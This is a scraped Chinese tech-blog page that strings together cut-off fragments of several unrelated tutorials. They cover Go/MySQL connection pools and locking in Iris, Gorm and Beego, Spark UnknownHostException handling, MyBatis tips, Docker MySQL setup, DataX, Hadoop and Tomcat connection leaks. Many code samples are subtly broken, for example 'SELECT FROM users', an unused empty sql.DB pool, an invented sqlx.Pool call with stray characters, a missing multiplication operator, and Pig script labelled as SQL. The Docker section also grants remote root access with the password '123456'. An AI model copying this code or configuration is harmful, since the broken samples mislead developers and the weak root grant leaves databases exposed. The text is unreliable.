通过以上内容，我们可以看出，使用Golang与MySQL进行数据持久化是非常容易的。只需要引入必要的库，就可以开始编写相关的代码了。而且，你知道吗，正因为Golang的独特优势，我们能够编写出超级高效、超稳可靠的代码！所以，如果你正在寻觅一种崭新的法子来搞定数据的长期存储问题，那么我真心推荐你试一试Golang，它绝对会让你眼前一亮！

...假设我们正在使用MySQL数据库，我们可以这样配置： go import ( "github.com/kataras/iris/v12" "github.com/go-sql-driver/mysql" ) func main() { app := iris.New() // 配置MySQL连接 config := mysql.NewConfig() config.User = "root" config.Passwd = "password" config.Net = "tcp" config.Addr = "localhost:3306" config.DBName = "testdb" // 设置锁类型 config.InterpolateParams = true config.Params = map[string]string{ "charset": "utf8mb4", "parseTime": "True", "loc": "Local", "sql_mode": "STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION", "tx_isolation": "READ-COMMITTED", // 这里设置为读提交，你可以根据需求调整 } // 创建数据库连接池 db, err := sql.Open("mysql", config.FormatDSN()) if err != nil { panic(err) } // 使用数据库连接池 app.Use(func(ctx iris.Context) { ctx.Values().Set("db", db) ctx.Next() }) // 定义路由 app.Get("/", func(ctx iris.Context) { db := ctx.Values().Get("db").(sql.DB) // 开始事务 tx, err := db.Begin() if err != nil { ctx.StatusCode(iris.StatusInternalServerError) ctx.WriteString("Error starting transaction") return } defer tx.Rollback() // 执行查询 stmt, err := tx.Prepare("SELECT FROM users WHERE id = ? FOR UPDATE") if err != nil { ctx.StatusCode(iris.StatusInternalServerError) ctx.WriteString("Error preparing statement") return } defer stmt.Close() var user User err = stmt.QueryRow(1).Scan(&user.ID, &user.Name, &user.Email) if err != nil { ctx.StatusCode(iris.StatusInternalServerError) ctx.WriteString("Error executing query") return } // 更新数据 _, err = tx.Exec("UPDATE users SET name = ? WHERE id = ?", "New Name", user.ID) if err != nil { ctx.StatusCode(iris.StatusInternalServerError) ctx.WriteString("Error updating data") return } // 提交事务 err = tx.Commit() if err != nil { ctx.StatusCode(iris.StatusInternalServerError) ctx.WriteString("Error committing transaction") return } ctx.WriteString("Data updated successfully!") }) // 启动服务器 app.Run(iris.Addr(":8080")) } 5. 实际应用中的考虑 在实际应用中，我们需要根据具体的业务场景选择合适的锁类型。比如说，如果有好几个小伙伴得同时查看数据，又不想互相打扰，那我们就用共享锁来搞定。要是你想保证数据一致，防止同时有人乱改，那就得用排他锁了。 另外，要注意的是，过度使用锁可能会导致性能问题，因为锁会阻塞其他事务的执行。因此，在设计系统时，我们需要权衡数据一致性和性能之间的关系。 6. 结语 通过今天的讨论，希望大家对Iris框架中的数据库锁类型配置有了更深入的理解。虽然设置锁类型会让事情变得稍微复杂一点，但这样做真的能帮我们更好地应对多任务同时进行时可能出现的问题，确保系统稳稳当当的不掉链子。 最后，我想说的是，技术的学习是一个不断积累的过程。有时候，我们会觉得某些概念很难理解，但这都是正常的。只要我们保持好奇心和探索精神，总有一天会豁然开朗。希望你们能够持续学习，不断进步！ 谢谢大家！

...问，咱们通常就是扯到SQL查询啊，还有怎么管事务，再有就是怎么用连接池这些事儿。 1.1 连接池的重要性 连接池是数据库访问中非常关键的一环。它允许我们在不频繁建立新连接的情况下，重用已有的数据库连接，从而提高效率并减少资源消耗。想象一下，如果你每次执行SQL查询都要打开一个新的数据库连接，那效率该有多低啊！ 1.2 SQL查询与ORM 在进行数据库操作时，我们有两种主要的方法：直接编写SQL语句或者使用ORM（对象关系映射）。直接编写SQL语句虽然能够提供更多的控制权，但可能会增加出错的风险。而ORM则通过将数据库表映射到程序中的对象，使得数据操作更加直观。不过，选择哪种方式，还要根据具体的应用场景和个人偏好来决定。 2. 实践篇 构建高性能数据库访问 现在，让我们进入实践部分。咱们这就来点儿实战教学，用几个小例子带你看看怎么用Go语言搞定又快又稳的数据库操作。 2.1 使用标准库 database/sql Go语言的标准库提供了database/sql包，它是一个用于SQL数据库的通用接口。下面是一个简单的例子： go package main import ( "database/sql" _ "github.com/go-sql-driver/mysql" // 注意这里需要导入MySQL驱动 "fmt" ) func main() { db, err := sql.Open("mysql", "user:password@tcp(127.0.0.1:3306)/dbname") if err != nil { panic(err.Error()) } defer db.Close() // 执行一个简单的查询 rows, err := db.Query("SELECT id, name FROM users") if err != nil { panic(err.Error()) } defer rows.Close() for rows.Next() { var id int var name string err = rows.Scan(&id, &name) if err != nil { panic(err.Error()) } fmt.Println(id, name) } } 2.2 使用ORM工具：Gorm 对于更复杂的项目，使用ORM工具如Gorm可以极大地简化数据库操作。Gorm就像是给数据库操作加了个“翻译”，让我们可以用更贴近日常说话的方式来摆弄数据库里的数据，感觉就像是在玩弄对象一样轻松。下面是如何使用Gorm的一个简单示例： go package main import ( "gorm.io/driver/mysql" "gorm.io/gorm" "log" ) type User struct { ID uint Name string } func main() { dsn := "user:password@tcp(127.0.0.1:3306)/dbname?charset=utf8mb4&parseTime=True&loc=Local" db, err := gorm.Open(mysql.Open(dsn), &gorm.Config{}) if err != nil { log.Fatal(err) } // 创建用户 newUser := User{Name: "John Doe"} db.Create(&newUser) // 查询用户 var user User db.First(&user, newUser.ID) log.Printf("Found user: %s\n", user.Name) } 3. 性能优化技巧 在实际开发中，除了基础的数据库操作外，我们还需要考虑如何进一步优化性能。这里有几个建议： - 索引：确保你的数据库表上有适当的索引，特别是对于那些频繁查询的字段。 - 缓存：利用缓存机制（如Redis）来存储常用的数据结果，可以显著减少数据库的负载。 - 批量操作：尽量减少与数据库的交互次数，比如批量插入或更新数据。 - 异步处理：对于耗时的操作，可以考虑使用异步处理方式，避免阻塞主线程。 4. 结语 通过以上的内容，我们大致了解了如何使用Go语言进行高性能的数据库访问和操作。当然，这只是冰山一角，真正的高手之路还很长。希望能给你带来点儿灵感，让你在Go语言的路上越走越远，越走越顺！记住，编程是一场马拉松，不是短跑，保持耐心，不断学习和尝试新的东西吧！ --- 希望这篇文章能帮助你更好地理解和应用Golang在数据库访问方面的最佳实践。如果你有任何问题或想法，欢迎随时交流讨论！

... 在使用Spark SQL进行操作时，需要从外部系统读取数据。 3. 使用Spark Streaming进行实时流处理时，可能会因为无法建立与上游系统的连接而抛出此异常。 四、解决UnknownHostException的方法 那么，我们该如何优雅地处理UnknownHostException呢？以下是几种常用的方法： 方法一：增加重试次数 当遇到UnknownHostException时，我们可以选择增加重试次数。这样，如果服务器只是暂时不可用，那么程序仍有可能成功运行。下面是使用Scala编写的一个示例： scala val conf = new SparkConf().setAppName("MyApp") val sc = new SparkContext(conf) val maxRetries = 5 var retryCount = 0 while (retryCount < maxRetries) { try { // 这里是你的代码... ... break } catch { case e: UnknownHostException => if (retryCount == maxRetries - 1) { throw e } println(s"Received UnknownHostException, retrying in ${maxRetries - retryCount} seconds...") Thread.sleep(maxRetries - retryCount 1000) retryCount += 1 } } 在这个示例中，我们设置了最大重试次数为5次。每次重试之间会等待一段时间，避免过度消耗资源。 方法二：使用备用数据源 如果主数据源经常出现问题，我们可以考虑使用备用数据源。这可以保证即使主数据源不可用，我们的程序仍然能够正常运行。以下是一个简单的示例： scala val conf = new SparkConf().setAppName("MyApp") val sc = new SparkContext(conf) val master = "spark://:7077" val spark = SparkSession.builder() .appName("MyApp") .master(master) .getOrCreate() // 查询数据 val data = spark.sql("SELECT FROM my_table") // 处理数据 data.show() 在这个示例中，我们设置了两个Spark配置项：spark.master和spark.sql.warehouse.dir。这两个选项分别指定了Spark集群的Master节点和数据仓库目录。这样子做的话，我们就能保证，就算某个地方的数据出了岔子，我们的程序依旧能稳稳当当地运行下去，一点儿不受影响。 方法三：检查网络连接 最后，我们还可以尝试检查网络连接是否存在问题。比如，咱们可以试试给那个疑似出问题的服务器丢个ping包瞧瞧，看看它是不是还健在，能给出正常回应不。要是搞不定的话，可能就得瞅瞅咱们的网络配置是否出了啥问题，或者直接找IT部门的大神们求救了。 五、总结 总的来说，处理UnknownHostException的关键在于找到问题的原因并采取适当的措施。不管是多试几次，还是找个备胎数据源来顶上，都能实实在在地让咱们的程序更加稳如磐石。在使用Spark开发应用的时候，我们还能充分挖掘Spark的硬核实力，比如灵活运用SQL查询功能，实时处理数据流等招数，这都能让咱们的应用性能嗖嗖提升，更上一层楼。希望通过这篇文章，你能学到一些实用的技巧，并在未来的开发工作中游刃有余。

...base = "mysql" beego.BConfig.WebConfig.DbName = "testdb" beego.BConfig.WebConfig.Driver = "github.com/go-sql-driver/mysql" beego.BConfig.WebConfig.DefaultDb = "default" beego.BConfig.WebConfig.MaxIdleConns = 100 beego.BConfig.WebConfig.MaxOpenConns = 200 4.2 使用连接池分片策略 这种方法可以将连接池划分为多个子池，每个子池独立处理来自不同用户的应用程序请求。这样可以防止单个子池由于过高的并发访问而耗尽连接。在Beego中，你可以在启动服务器时自定义数据库连接池，如下所示： go db, err := sql.Open("mysql", "root:password@/dbname") if err != nil { log.Fatal(err) } defer db.Close() pool := &sqlx.Pool{ DSN: "user=root password=pass dbname=testdb sslmode=disable", MaxIdleTime: time.Minute 5, } beego.InsertFilter("", beego.BeforeRouter, pool.Ping问一) 4.3 使用更高效的查询语句 高效的查询语句可以减少数据库连接的使用。例如，你可以避免在查询中使用不必要的表连接，尽量使用索引等。另外，我跟你说啊，尽量别一次性从数据库里捞太多数据，你想想哈，拿的数据越多，那连接数据库的“负担”就越重。就跟你一次性提太多东西，手上的袋子不也得承受更多压力嘛，道理是一样的。所以呢，咱悠着点，分批少量地拿数据才更明智。 4.4 调整应用负载均衡策略 如果你的应用在一个多台机器上运行，那么你可以通过调整负载均衡策略来平衡数据库连接的分配。比如，你完全可以根据每台机器上当前的实际连接使用状况，灵活地给它们分配对数据库的访问权限，就像在舞池里根据音乐节奏调整舞步那样自然流畅。 5. 结论 以上就是我在Beego中解决“数据库连接池耗尽”问题的一些方法。需要注意的是，不同的应用场景可能需要采用不同的解决方案。所以在实际动手干的时候，你得根据自己具体的需求和所处的环境，灵活机动地挑出最适合自己的方法。就像是在超市选商品，不同的需求对应不同的货架，不同的环境就像不同的购物清单，你需要智慧地“淘宝”，选出最对的那个“宝贝”方式。

...的database/sql包来使用数据库连接池。首先，我们需要创建一个数据库连接池： go db, err := sql.Open("mysql", "user:password@/dbname") if err != nil { panic(err.Error()) } defer db.Close() pool := &sql.DB{} pool.SetMaxOpenConns(20) pool.SetMaxIdleConns(10) 这段代码首先通过sql.Open()函数打开一个数据库连接，然后定义了一个新的变量pool，类型为sql.DB。接着，我们设置了连接池的最大开放连接数为20，最大空闲连接数为10。 四、如何优化数据库连接池的配置？ 在配置数据库连接池时，我们需要注意以下几个方面： 1. 设置合适的最大开放连接数和最大空闲连接数。如果最大允许的开放连接数太多了，就好比是一个接待员同时应付太多的客人，不仅会让整个系统的资源被胡乱消耗掉，变得大手大脚；而另一方面，要是最大空闲连接数设置得不够多，那就像是在高峰期，排队等待服务的顾客太少，结果就是数据库不得不频繁地忙前忙后，响应速度自然也就慢下来了。因此，这两个参数需要根据实际的业务需求来进行调整。 2. 避免频繁地关闭数据库连接。虽然数据库连接池确实是个好东西，能帮咱们有效解决频繁创建和销毁数据库连接这个大麻烦，但你要是总把它当成回收站，频繁地把连接丢回去，那这好经也可能被念歪了，会导致数据库连接资源白白浪费掉。因此，我们应该尽可能地减少数据库连接的释放次数。 3. 定期检查数据库连接池的状态。为了确保数据库连接池运转得顺顺畅畅，我们得定期给它做个全面体检，摸摸底儿，瞅瞅像当前有多少个连接在用啊，又有多少闲着没事儿干的空闲连接等等这些关键指标。这样一来，一旦有啥小毛小病的，咱们就能立马发现并及时处理掉，保证一切正常运行。 五、总结 总的来说，在Beego框架下使用数据库连接池是一个非常有效的方法，可以帮助我们提高数据库的性能。不过呢，咱们也得不断地摸索和捣鼓，才能找到那个最适合自家数据库的连接池配置。就像是找鞋子一样，不试穿几双，怎么能知道哪一双穿起来最合脚、最舒服呢？所以，对于数据库连接池的配置，咱也得慢慢尝试、逐步调整，才能找到最佳的那个“黄金比例”。同时，我们也应该注意保持良好的编程习惯，避免产生无谓的资源浪费。希望这篇内容能实实在在帮到你，让你更溜地掌握和运用Beego框架下的数据库连接池，让数据操作变得更顺手、更高效。

...也是可以直接书写动态SQL的，但要使用<script></script>包裹，这样就不用在java文件和xml文件切换了，将@select中包裹的代码直接放到浏览器的控制台输出后会自动转义\n,\t,+,"等 动态sql中“<” 和 “>” 号要用转义字符 “<” 和 ”>“ （分号要带） 动态sql中test中表达式通常使用 test=“id != null and id != ‘’”，要注意的是字符串不能直接识别单引号，有两种方法使用id==“1001"或者id==‘1001’.toString()，另外参数如果是boolean，可以直接使用test=”!flag"，如果判定集合的话可以使用 test=“list != null and list.size>0” 返回数据类型为Map只能接收一条记录，字段为键名，字段值为值，但通常是用实体类接收，或是使用注解@MapKey来进行每条记录的映射，效果等同于List用Stream流转Map foreach遍历list collection=“list” item=“vo” separator="," open="(" close=")"> {vo.id} foreach遍历map collection=“map” index=“key” item=“value”，{key}获取建，{value}获取值，$亦可 collection=“map.entrySet()” index=“key” item=“value”，同上 collection=“map.keys” item=“key”，{key}为键 不要使用where 1=1，使用动态where拼接，会自动剔除where后多余的and和or 单个参数时无论基本和引用并且未使用在动态SQL可以不加参数注解@Param，但一旦参数大于一个或者参数在动态SQL中使用就必须加@Param 并不是直接把参数加引号，而是变成?的形式交给prepareStatement处理，$直接使用值，当ORDER BY诸如此类不需要加引号的参数时，使用$代替，但为避免sql注入，该参数不能交由用户控制 Plus 官方API https://baomidou.com/guide/ @TableName 表名 @TableField(strategy = FieldStrategy.IGNORED) 更新不会忽略NULL值 @TableField(exist = false)表明该字段非数据字段，否则新增更新会报错 MybatisPlus对于单表的操作还是非常优秀的，在对单表进行新增或者更新的时候经常使用，但对于单表的查询业务上很少出现仅仅查询一张表的情况，但也会有，如果条件不大于3个还是可以使用的，多了倒没有直接写SQL来的方便了 MybatisPlus的批量插入也是通过for循环插入的，还是建议使用Mybatis的动态foreach进行批量插入 MybatisPlus的分页器会对方法中的参数判断，如果存在分页对象就先查询总数看是否大于0，然后拼接当前的数据库limit语句，所以如果我们分页对象为null，就可以实现不分页查询 Object paramObj = boundSql.getParameterObject();IPage page = null;if (paramObj instanceof IPage) { ……public static String getOriginalCountSql(String originalSql) {return String.format("SELECT COUNT(1) FROM ( %s ) TOTAL", originalSql);} ……originalSql = DialectFactory.buildPaginationSql(page, buildSql, dbType, this.dialectClazz); ……public String buildPaginationSql(String originalSql, long offset, long limit) {StringBuilder sql = new StringBuilder(originalSql);sql.append(" LIMIT ").append(offset).append(",").append(limit);return sql.toString();} IDEA 插件 Lombok : 快速生成getter、setter等 Alibaba Java Coding Guidelines ：阿里规约扫描 Rainbow Brackets ：彩色括号 HighlightBracketPair ：高亮提示 MyBatisX ：mabatisPlus提供的xml和mapper转换的插件，小鸟图标 CamelCase ：大小写、驼峰、下划线、中划线转换插件 使用shift+Alt+u进行转换（很方便） 可以在Editor中设置CamelCase的转换，一般只保留下划线和驼峰两种 String Manipulation ：字符串工具（未使用） RestfulToolkit http ：Restful请求工具 打开idea，在右侧边栏会有一个标签（RestServices），打开可以看到里面是url路径 ctrl+\或者ctrl+alt+n会检索路径 Ctrl + Enter格式化json 没有记忆功能，也不能加token，只是查找请求路径使用 easycode ：代码生成工具（个人觉得很好用，常用于生成实体类） 支持自定义模板 支持添加自定义列，不影响数据库 支持多表同时生成 支持自定义类型映射 支持配置导入导出 支持动态调试 支持自定义属性 Power Mode 11 ：打字特效（纯属装逼） Nyan Progress Bar ：漂亮的进度条（纯属装逼） Other Vo：数据持久化模型 Query：数据查询模型 Dto：数据传输模型 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_40910781/article/details/111416185。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...应内容。 2. MySQL 2.1. 快速参考 维护者：Docker 社区和 MySQL 团队 从哪里获得帮助：Docker 社区论坛、Docker 社区 Slack 或 Stack Overflow 2.2. 支持的标签和各自的 Dockerfile 链接 8.0.28, 8.0, 8, latest 5.7.37, 5.7, 5 2.3. 快速参考（续） 在哪里提交问题：https://github.com/docker-library/mysql/issues 支持的架构：（更多信息）amd64 发布的镜像工件详情：repo-info repo 的 repos/mysql/ 目录（历史）（镜像元数据、传输大小等） 镜像更新：official-images repo 的 library/mysql 标签 官方图像 repo 的库/mysql 文件（历史） 此描述的来源：docs repo 的 mysql/ 目录（历史） 2.4. 如何使用镜像 2.4.1. 启动一个mysql服务器实例 启动 MySQL 实例很简单： $ docker run --name some-mysql -e MYSQL_ROOT_PASSWORD=my-secret-pw -d mysql:tag 其中 some-mysql 是您要分配给容器的名称， my-secret-pw 是要为 MySQL root 用户设置的密码，而 tag 是指定您想要的 MySQL 版本的标签。 有关相关标签，请参见上面的列表。 以下是示例（通常要设置时区），注意-v 这里是挂载磁盘，请提前创建目录/var/mysql/data，/var/lib/mysql是容器里的原持久化目录： docker run --name mysql202201 -e MYSQL_ROOT_PASSWORD=123456 -e TZ=Asia/Shanghai -v /var/mysql/data:/var/lib/mysql -d mysql:5.7 2.4.2. 从 MySQL 命令行客户端连接到 MySQL 以下命令启动另一个 mysql 容器实例并针对您的原始 mysql 容器运行 mysql 命令行客户端，允许您针对您的数据库实例执行 SQL 语句： $ docker run -it --network some-network --rm mysql mysql -hsome-mysql -uexample-user -p 其中 some-mysql 是原始 mysql 容器的名称（连接到 some-network Docker 网络）。 此镜像也可以用作非 Docker 或远程实例的客户端： $ docker run -it --rm mysql mysql -hsome.mysql.host -usome-mysql-user -p 有关 MySQL 命令行客户端的更多信息，请参阅 MySQL 文档。 2.4.3. 容器外访问和查看 MySQL 日志 docker exec 命令允许您在 Docker 容器内运行命令。 以下命令行将为您提供 mysql 容器内的 bash shell： $ docker exec -it some-mysql bash 第一次启动一个MySQL容器后，需要对账户进行授权，否则无法远程访问，请先使用上面的命令进入容器内，然后使用以下命令连接到mysql服务： mysql -uroot -p 输入密码回车，进入mysql命令界面mysql> 接着授权root远程访问权限： mysql> GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY '123456'; 然后就可以远程用MySQL客户端连接到MySQL容器了。 日志可通过 Docker 的容器日志获得： $ docker logs some-mysql 2.4.4. 使用自定义 MySQL 配置文件 MySQL 的默认配置可以在 /etc/mysql/my.cnf 中找到，其中可能包含额外的目录，例如 /etc/mysql/conf.d 或 /etc/mysql/mysql.conf.d。 请检查 mysql 映像本身中的相关文件和目录以获取更多详细信息。 如果 /my/custom/config-file.cnf 是你的自定义配置文件的路径和名称，你可以这样启动你的 mysql 容器（注意这个命令只使用了自定义配置文件的目录路径）： $ docker run --name some-mysql -v /my/custom:/etc/mysql/conf.d -e MYSQL_ROOT_PASSWORD=my-secret-pw -d mysql:tag 这将启动一个新容器 some-mysql，其中 MySQL 实例使用来自 /etc/mysql/my.cnf 和 /etc/mysql/conf.d/config-file.cnf 的组合启动设置，后者的设置优先 . 没有 cnf 文件的配置 许多配置选项可以作为标志传递给 mysqld。 这将使您可以灵活地自定义容器，而无需 cnf 文件。 例如，如果要将所有表的默认编码和排序规则更改为使用 UTF-8 (utf8mb4)，只需运行以下命令： $ docker run --name some-mysql -e MYSQL_ROOT_PASSWORD=my-secret-pw -d mysql:tag --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci 如果您想查看可用选项的完整列表，只需运行： $ docker run -it --rm mysql:tag --verbose --help 2.4.5. 环境变量 启动 mysql 镜像时，可以通过在 docker run 命令行中传递一个或多个环境变量来调整 MySQL 实例的配置。 请注意，如果您使用已包含数据库的数据目录启动容器，则以下任何变量都不会产生任何影响：任何预先存在的数据库在容器启动时将始终保持不变。 另请参阅 https://dev.mysql.com/doc/refman/5.7/en/environment-variables.html 以获取 MySQL 的环境变量的文档（尤其是 MYSQL_HOST 等变量，已知与此镜像一起使用时会导致问题）。 MYSQL_ROOT_PASSWORD 此变量是必需的，并指定将为 MySQL root 超级用户帐户设置的密码。 在上面的示例中，它被设置为 my-secret-pw。 MYSQL_DATABASE 此变量是可选的，允许您指定要在映像启动时创建的数据库的名称。 如果提供了用户/密码（见下文），则该用户将被授予对此数据库的超级用户访问权限（对应于 GRANT ALL）。 MYSQL_USER、MYSQL_PASSWORD 这些变量是可选的，用于创建新用户和设置该用户的密码。 该用户将被授予对 MYSQL_DATABASE 变量指定的数据库的超级用户权限（见上文）。 要创建用户，这两个变量都是必需的。 请注意，不需要使用此机制来创建超级用户超级用户，默认情况下会使用 MYSQL_ROOT_PASSWORD 变量指定的密码创建该用户。 MYSQL_ALLOW_EMPTY_PASSWORD 这是一个可选变量。 设置为非空值，例如 yes，以允许使用 root 用户的空白密码启动容器。 注意：除非您真的知道自己在做什么，否则不建议将此变量设置为 yes，因为这将使您的 MySQL 实例完全不受保护，从而允许任何人获得完全的超级用户访问权限。 MYSQL_RANDOM_ROOT_PASSWORD 这是一个可选变量。 设置为非空值，如 yes，为 root 用户生成随机初始密码（使用 pwgen）。 生成的根密码将打印到标准输出（生成的根密码：…）。 MYSQL_ONETIME_PASSWORD 一旦初始化完成，将 root（不是 MYSQL_USER 中指定的用户！）用户设置为过期，强制在第一次登录时更改密码。 任何非空值都将激活此设置。 注意：此功能仅在 MySQL 5.6+ 上受支持。 在 MySQL 5.5 上使用此选项将在初始化期间引发适当的错误。 MYSQL_INITDB_SKIP_TZINFO 默认情况下，入口点脚本会自动加载 CONVERT_TZ() 函数所需的时区数据。 如果不需要，任何非空值都会禁用时区加载。 2.4.6. Docker Secrets 作为通过环境变量传递敏感信息的替代方法，_FILE 可以附加到先前列出的环境变量中，从而导致初始化脚本从容器中存在的文件中加载这些变量的值。 特别是，这可用于从存储在 /run/secrets/<secret_name> 文件中的 Docker 机密中加载密码。 例如： $ docker run --name some-mysql -e MYSQL_ROOT_PASSWORD_FILE=/run/secrets/mysql-root -d mysql:tag 目前，这仅支持 MYSQL_ROOT_PASSWORD、MYSQL_ROOT_HOST、MYSQL_DATABASE、MYSQL_USER和 MYSQL_PASSWORD。 2.4.7. 初始化一个新实例 首次启动容器时，将使用提供的配置变量创建并初始化具有指定名称的新数据库。 此外，它将执行 /docker-entrypoint-initdb.d 中的扩展名为 .sh、.sql 和 .sql.gz 的文件。 文件将按字母顺序执行。 您可以通过将 SQL 转储安装到该目录并提供带有贡献数据的自定义镜像来轻松填充您的 mysql 服务。 SQL 文件将默认导入到 MYSQL_DATABASE 变量指定的数据库中。 2.5. 注意事项 2.5.1. 在哪里存储数据 重要提示：有几种方法可以存储在 Docker 容器中运行的应用程序使用的数据。 我们鼓励 mysql 映像的用户熟悉可用的选项，包括： 让 Docker 通过使用自己的内部卷管理将数据库文件写入主机系统上的磁盘来管理数据库数据的存储。 这是默认设置，对用户来说简单且相当透明。 缺点是对于直接在主机系统（即外部容器）上运行的工具和应用程序，可能很难找到这些文件。 在主机系统（容器外部）上创建一个数据目录，并将其挂载到容器内部可见的目录。 这会将数据库文件放置在主机系统上的已知位置，并使主机系统上的工具和应用程序可以轻松访问这些文件。 缺点是用户需要确保目录存在，例如主机系统上的目录权限和其他安全机制设置正确。 Docker 文档是了解不同存储选项和变体的一个很好的起点，并且有多个博客和论坛帖子在该领域讨论和提供建议。 我们将在这里简单地展示上面后一个选项的基本过程： 在主机系统上的合适卷上创建数据目录，例如 /my/own/datadir。 像这样启动你的 mysql 容器： $ docker run --name some-mysql -v /my/own/datadir:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=my-secret-pw -d mysql:tag 命令的 -v /my/own/datadir:/var/lib/mysql 部分将底层主机系统中的 /my/own/datadir 目录挂载为容器内的 /var/lib/mysql ，默认情况下 MySQL 将 写入其数据文件。 2.5.2. 在 MySQL 初始化完成之前没有连接 如果容器启动时没有初始化数据库，则会创建一个默认数据库。 虽然这是预期的行为，但这意味着在初始化完成之前它不会接受传入的连接。 在使用同时启动多个容器的自动化工具（例如 docker-compose）时，这可能会导致问题。 如果您尝试连接到 MySQL 的应用程序没有处理 MySQL 停机时间或等待 MySQL 正常启动，那么在服务启动之前放置一个连接重试循环可能是必要的。 有关官方图像中此类实现的示例，请参阅 WordPress 或 Bonita。 2.5.3. 针对现有数据库的使用 如果您使用已经包含数据库的数据目录（特别是 mysql 子目录）启动 mysql 容器实例，则应该从运行命令行中省略 $MYSQL_ROOT_PASSWORD 变量； 在任何情况下都将被忽略，并且不会以任何方式更改预先存在的数据库。 2.5.4. 以任意用户身份运行 如果你知道你的目录的权限已经被适当地设置了（例如对一个现有的数据库运行，如上所述）或者你需要使用特定的 UID/GID 运行 mysqld，那么可以使用 --user 调用这个镜像设置为任何值（root/0 除外）以实现所需的访问/配置： $ mkdir data$ ls -lnd datadrwxr-xr-x 2 1000 1000 4096 Aug 27 15:54 data$ docker run -v "$PWD/data":/var/lib/mysql --user 1000:1000 --name some-mysql -e MYSQL_ROOT_PASSWORD=my-secret-pw -d mysql:tag 2.5.5. 创建数据库转储 大多数普通工具都可以工作，尽管在某些情况下它们的使用可能有点复杂，以确保它们可以访问 mysqld 服务器。 确保这一点的一种简单方法是使用 docker exec 并从同一容器运行该工具，类似于以下内容： $ docker exec some-mysql sh -c 'exec mysqldump --all-databases -uroot -p"$MYSQL_ROOT_PASSWORD"' > /some/path/on/your/host/all-databases.sql 2.5.6. 从转储文件恢复数据 用于恢复数据。 您可以使用带有 -i 标志的 docker exec 命令，类似于以下内容： $ docker exec -i some-mysql sh -c 'exec mysql -uroot -p"$MYSQL_ROOT_PASSWORD"' < /some/path/on/your/host/all-databases.sql 备注 docker安装完MySQL，后面就是MySQL容器在跑，基本上就是当MySQL服务去操作，以前MySQL怎么做现在还是一样怎么做，只是个别操作因为docker包了一层，麻烦一点。 有需要的话，我们也可以基于MySQL官方镜像去定制我们自己的镜像，就比如主从镜像之类的。 本篇文章为转载内容。原文链接：https://blog.csdn.net/muluo7fen/article/details/122731852。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...nel）。源通道通过SQL查询获取所有的订单，然后目标通道通过IF判断语句筛选出状态为"已完成"的订单，并将其插入到新的表filtered_orders中。 五、总结 以上就是在Datax中实现数据过滤处理的一个简单例子。瞧瞧这个例子，咱们就能明白，在Datax这玩意儿里头，咱能够超级轻松地用IF判断语句给数据做个筛选处理，简直不要太方便！如果你也想在你的项目中实现数据过滤处理，不妨试试看Datax吧！

...ive可以方便地编写SQL-like查询来操作这些数据，如下所示： sql A = LOAD '/user/hadoop/images' USING PigStorage(':'); B = FILTER A BY size(A) > 1000; // 过滤出大于1MB的图像 STORE B INTO '/user/hadoop/preprocessed'; 3. 特征提取与分析 使用Hadoop的MapReduce，我们可以并行计算每个图像的特征，如颜色直方图、纹理特征等。以下是一个简单的MapReduce任务示例： java public class ImageFeatureMapper extends Mapper { @Override protected void map(LongWritable key, Text value, Context context) { // 图像处理逻辑，生成特征值 int[] feature = processImage(value.toString()); context.write(new Text(featureToString(feature)), new IntWritable(1)); } } public class ImageFeatureReducer extends Reducer { @Override protected void reduce(Text key, Iterable values, Context context) { int sum = 0; for (IntWritable val : values) { sum += val.get(); } context.write(key, new IntWritable(sum)); } } 4. 结果聚合与可视化 最后，我们将所有图像的特征值汇总，进行统计分析，甚至可以进一步使用Hadoop的Mahout库进行聚类或分类。例如，计算平均颜色直方图： java final ReduceTask reducer = job.getReducer(); reducer.setNumReduceTasks(1); 然后，用Matplotlib这样的可视化库，将结果呈现出来，便于理解和解读。 四、总结与展望 Hadoop凭借其出色的性能和易用性，为我们处理大量图像数据提供了有力支持。你知道吗，随着深度学习这家伙越来越火，Hadoop这老伙计可能得找个新拍档，比如Spark，才能一起搞定那些高难度的图片数据分析任务，毕竟单打独斗有点力不从心了。不过呢，Hadoop这家伙绝对是咱们面对海量数据时的首选英雄，特别是在刚开始那会儿，简直就是数据难题的救星，让咱们在信息的汪洋大海里也能轻松应对，游得畅快。

...pe="javax.sql.DataSource" maxActive="100" maxIdle="30" maxWait="10000" username="root" password="password" driverClassName="com.mysql.jdbc.Driver" url="jdbc:mysql://localhost:3306/mydb"/> 在这个示例中，我们定义了一个名为"MyDB"的数据源，并设置了最大活动连接数为100，最大空闲连接数为30，最大等待时间（毫秒）为10000。 其次，我们需要确保在使用完数据库连接后，能够正确地关闭它。这通常需要在finally块中执行相关操作。以下是一个简单的示例： java try { Connection conn = dataSource.getConnection(); // 使用数据库连接进行操作... } finally { if (conn != null) { try { conn.close(); } catch (SQLException e) { // 忽略异常 } } } 最后，我们可以使用工具来检测和管理Tomcat的数据源连接泄漏。比如，咱们可以用像JVisualVM这样的工具，来实时瞅瞅应用服务器的内存消耗情况，这样一来，就能轻松揪出并解决那些烦人的连接泄漏问题啦。 五、结论 Tomcat的数据源连接泄漏是一个非常严重的问题，如果不及时处理，可能会对系统的稳定性和性能造成严重影响。因此，我们应该重视这个问题，并采取有效的措施来防止和管理连接泄漏。只要我们把配置调对，管理妥当，就完全可以把这类问题扼杀在摇篮里，确保系统的稳定运行，一切都能顺顺利利、稳稳妥妥的。

